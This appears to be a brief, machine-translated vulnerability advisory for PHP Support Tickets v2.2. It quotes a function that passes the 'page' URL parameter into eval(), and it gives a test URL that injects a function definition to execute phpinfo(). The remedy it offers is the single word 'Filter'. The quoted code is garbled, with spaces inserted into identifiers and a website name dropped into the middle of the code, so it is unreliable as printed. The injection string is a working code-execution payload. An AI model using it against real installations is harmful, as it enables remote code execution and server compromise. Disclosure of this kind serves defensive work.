PHP Support Tickets v2.2 code execution defects and repair

Title: PHP Support Tickets v2.2 Code Exec

Author: brain [pillow]
Developer Website: www.phpsupporttickets.com
Affected Versions: 2.2
Defect code analysis:

/Classes/GUI/abstract. GUI. php

Www.2cto.com
Public function getPageName (){

Return eval ('Return PHPST_PAGENAME _ '. strtoupper ($ this-> page ).';');

}

========================================================== ======================================
Test:

/Index. php? Page = xek (); function PHPST_PAGENAME_XEK () {phpinfo ();}

 

Fix: Filter